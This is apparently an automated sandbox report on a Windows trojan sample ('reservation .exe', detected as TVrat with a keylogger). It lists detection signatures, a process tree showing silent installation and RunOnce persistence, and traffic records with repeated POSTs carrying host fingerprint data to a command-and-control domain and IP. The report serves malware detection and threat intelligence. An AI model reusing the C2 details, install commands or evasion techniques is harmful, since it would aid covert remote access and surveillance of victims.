Edit tour

Windows Analysis Report
reservation .exe

Overview

General Information

Sample name:	reservation .exe
Analysis ID:	1558751
MD5:	ded33758f9470a6ee7ccaba58301f651
SHA1:	b4b43213b8ba2e83de9344ecb038811c1636d864
SHA256:	165002986f77081f5cf1a411a8efa39219b359fa2245b563140c9d09e8ed6765
Tags:	exeuser-JAMESWT_MHT
Infos:

Detection

TVrat

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Sigma detected: Suspicious Double Extension File Execution

Yara detected TVrat

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect virtualization through RDTSC time measurements

Uses an obfuscated file name to hide its real file extension (a lot of spaces)

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates processes with suspicious names

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

reservation .exe (PID: 1988 cmdline: "C:\Users\user\Desktop\reservation .exe" MD5: DED33758F9470A6EE7CCABA58301F651)

reservation .tmp (PID: 5756 cmdline: "C:\Users\user\AppData\Local\Temp\is-GMPCP.tmp\reservation .tmp" /SL5="$10464,7120736,816128,C:\Users\user\Desktop\reservation .exe" MD5: D3E870E4BBE9AAF106AB9B0510956A89)

reservation .exe (PID: 2412 cmdline: "C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu MD5: DED33758F9470A6EE7CCABA58301F651)

reservation .tmp (PID: 1372 cmdline: "C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp" /SL5="$2046A,7120736,816128,C:\Users\user\Desktop\reservation .exe" /verysilent /password=84t66giu MD5: D3E870E4BBE9AAF106AB9B0510956A89)

cmd.exe (PID: 1272 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\qilq\g3ll5lm.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xcopy.exe (PID: 4676 cmdline: xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\qilq\*" "C:\Users\user\AppData\Roaming\fat\" MD5: 7E9B7CE496D09F70C072930940F9F02C)

ast.exe (PID: 3380 cmdline: "C:\Users\user\AppData\Roaming\fat\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)

ast.exe (PID: 6856 cmdline: "C:\Users\user\AppData\Roaming\fat\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)

ast.exe (PID: 1964 cmdline: "C:\Users\user\AppData\Roaming\fat\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
TeamSpy, TVRAT		No Attribution	https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/ https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk	https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\fat\ast.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\fat\ast.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\fat\ast.exe	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
Process Memory Space: ast.exe PID: 3380	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: ast.exe PID: 3380	JoeSecurity_TVrat	Yara detected TVrat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
10.0.ast.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.0.ast.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
10.0.ast.exe.400000.0.unpack	JoeSecurity_TVrat	Yara detected TVrat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Double Extension File Execution

Source: Process started

Author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Users\user\Desktop\reservation .exe", CommandLine: "C:\Users\user\Desktop\reservation .exe", CommandLine|base64offset|contains: , Image: C:\Users\user\Desktop\reservation .exe, NewProcessName: C:\Users\user\Desktop\reservation .exe, OriginalFileName: C:\Users\user\Desktop\reservation .exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Users\user\Desktop\reservation .exe", ProcessId: 1988, ProcessName: reservation .exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\fat\ast.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\fat\ast.exe, ProcessId: 3380, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\fat

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 3380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6C8010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,		10_2_6B6C8010
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6E20A0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,		10_2_6B6E20A0

Source: ast.exe, 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_9d90cbc3-e

Source: reservation .exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50159 version: TLS 1.2

Source: reservation .exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: vcruntime140.i386.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000002.2726589967.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337890732.000000006E0D1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000002.2726589967.0000000002E9B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337890732.000000006E0D1000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 00000008.00000003.2456715536.00000000030E6000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3329265043.000000006BC70000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr
Source:	Binary string: vcomp140.i386.pdbGCTL source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 00000008.00000003.2457697380.000000000310F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337086726.000000006C923000.00000002.00000001.01000000.0000000F.sdmp, is-8MMT6.tmp.4.dr
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 00000008.00000003.2455429869.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3331797852.000000006C0DF000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 00000008.00000003.2455975979.0000000003106000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3334659818.000000006C392000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: xcopy.exe, 00000008.00000003.2459594021.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3336200986.000000006C701000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: vcomp140.i386.pdb source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 00000008.00000003.2455975979.0000000003106000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3334659818.000000006C392000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: xcopy.exe, 00000008.00000003.2459594021.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3336200986.000000006C701000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000A.00000002.3329265043.000000006BC07000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3337086726.000000006C923000.00000002.00000001.01000000.0000000F.sdmp, is-8MMT6.tmp.4.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 00000008.00000003.2455429869.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3331797852.000000006C0DF000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000A.00000002.3329265043.000000006BC07000.00000002.00000001.01000000.00000014.sdmp, is-RFQHO.tmp.4.dr

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 11_2_070641D8 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,

11_2_070641D8

Source: global traffic

TCP traffic: 192.168.2.5:50018 -> 212.193.169.65:44335

Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691McC-F4-BB-57-0D-C9HS53687091200HVvsqlhtdvunkiHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c296b8597ff74a7a66f4011f385HS05368709120064.5-3024940/Microsoft Windows 10 Pro (10.0.19045) x64
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
